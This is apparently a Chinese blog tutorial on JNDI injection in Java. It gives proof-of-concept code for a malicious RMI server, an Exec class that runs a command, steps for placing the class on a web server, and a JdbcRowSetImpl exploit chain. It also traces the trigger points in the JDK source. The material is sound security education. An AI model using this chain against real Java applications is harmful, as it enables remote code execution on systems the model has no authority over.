深入理解JAVA中的JNDI注入

什么是JNDI?

简单来说,JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。

JNDI支持多种命名和目录提供程序(Naming and Directory Providers),RMI注册表服务提供程序(RMI Registry Service Provider)允许通过JNDI应用接口对RMI中注册的远程对象进行访问操作。将RMI服务绑定到JNDI的一个好处是更加透明、统一和松散耦合,RMI客户端直接通过URL来定位一个远程对象,而且该RMI服务可以和包含人员,组织和网络资源等信息的企业目录链接在一起。

1.png

就个人的理解,JNDI相当于在LDAP RMI等服务外面再套了一层API,方便统一调用。

JNDI的注入点

假设client端地址为10.0.0.1,先来看下面一段,JNDI的client端的代码

1
2
Context context = new InitialContext();
context.lookup(providerURL);

其中providerURL为可控变量,此时,可以传入任意JNDI服务路径来实现注入,如

1
?providerURL=rmi://10.0.0.2:9527/evil

但是问题来了,此时即使执行了evil所绑定的类,依然是在10.0.0.2上执行,无法影响到10.0.0.1,因此要引入一个新的概念

JNDI References

在JNDI服务中,RMI服务端除了直接绑定远程对象之外,还可以通过References类来绑定一个外部的远程对象(当前名称目录系统之外的对象)。绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。

通过查阅References的源码,可以得知,其主要记录了如下信息

1
2
3
4
protected String className;
protected Vector<RefAddr> addrs = null;
protected String classFactory = null;
protected String classFactoryLocation = null;

其中classFactoryLocation实际上是LDAP或者RMI的地址

真正的JNDI注入

假设server地址为10.0.0.2,构造如下恶意RMI服务代码

1
2
3
4
5
Registry registry = LocateRegistry.createRegistry(9527);
Reference exec = new Reference("Exec", "Exec", "http://127.0.0.1:8080/");
ReferenceWrapper refWrap = new ReferenceWrapper(exec);
System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:9527/exec");
registry.bind("exec", refWrap);

上述代码非常简单,主要是将/exec这个路径绑定到一个Reference上,而这个Reference指向127.0.0.1:8080/Exec.class,其中Reference的构造函数第一个参数是className,第二个参数是classFactory

紧接着让我们构造Exec这个恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
public class Exec {
public Exec() throws Exception{
String cmd = "whoami";
Process p = Runtime.getRuntime().exec(cmd);
InputStream is = p.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
while ((a = is.read(b)) != -1){
baos.write(b, 0, a);
}
System.out.println(new String(baos.toByteArray()));
p.waitFor();
}
}

将其编译为Exec.class文件,然后拷贝到web目录下

1
javac Exec.java

1
cp Exec.class /var/www/html/

假设client地址为10.0.0.1,构造如下漏洞代码

1
2
3
4
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
Context context = new InitialContext();
context.lookup("rmi://127.0.0.1/exec");

即可成功执行whoami命令
2.png
其中前两行代码主要用于解除安全限制

在RMI服务中引用远程对象将受本地Java环境限制即本地的java.rmi.server.useCodebaseOnly配置必须为false(允许加载远程对象),如果该值为true则禁止引用远程对象。除此之外被引用的ObjectFactory对象还将受到com.sun.jndi.rmi.object.trustURLCodebase配置限制,如果该值为false(不信任远程引用对象)一样无法调用远程的引用对象。

JDK 5 U45,JDK 6 U45,JDK 7u21,JDK 8u121开始java.rmi.server.useCodebaseOnly默认配置已经改为了true。

JDK 6u132, JDK 7u122, JDK 8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值已改为了false。

深入源码探索

前面提到了,实际原因是触发了object factory,下面我们来看一下具体的触发调用链
3.png
核心代码触发代码从decodeObject开始

1
2
var1为传入的remote接口对象
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;

decodeObject中,会判断传入对象是满足RemoteReference接口,满足则通过getReference函数获取reference对象,然后进入getObjectInstance函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
factory = getObjectFactoryFromReference(ref, f); //触发点1
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment); //触发点2
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;

getObjectInstance函数中,一共有两处可执行RMI中定义的恶意代码的地方,一处是getObjectFactoryFromReference,在getObjectFactoryFromReference中会通过获取到对应的Class对象,通过clas.newInstance()触发恶意构造函数

1
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;

另外一处,则是通过实例化的类,调用其getObjectInstance函数,只要我们实现了ObjectFactory接口,复写getObjectInstance函数,即可执行恶意代码

1
2
3
4
5
6
7
8
9
public class Exec implements ObjectFactory {
public Exec(){
}
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
System.out.println("factory.getObjectInstance hook!");
return null;
}
}

JdbcRowSetImpl的JNDI注入利用链

在实战过程中,context.lookup直接被外部调用的情况比较少,但是我们可以通过间接调用context.lookup实现JNDI的注入,JdbcRowSetImpl就是这样一条利用链,先来看一下最终的POC

1
2
3
4
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
JdbcRowSetImpl j = new JdbcRowSetImpl();
j.setDataSourceName("rmi://127.0.0.1:9527/exec");
j.setAutoCommit(true);

调用链如下
4.png
可以看到,唯一的不同在于lookup前调用了setAutoCommit以及connect方法

1.在POC复现的过程中,由于编译Exec使用了1.8,运行Server以及Client使用了1.7,导致无法运行。由于JAVA版本向下兼容,因此实际利用过程中,建议使用1.6编译Exec.class,笔者偷懒,均采用了1.8

2.Exec的声明不能带package,否则无法触发,具体原因仍未查明。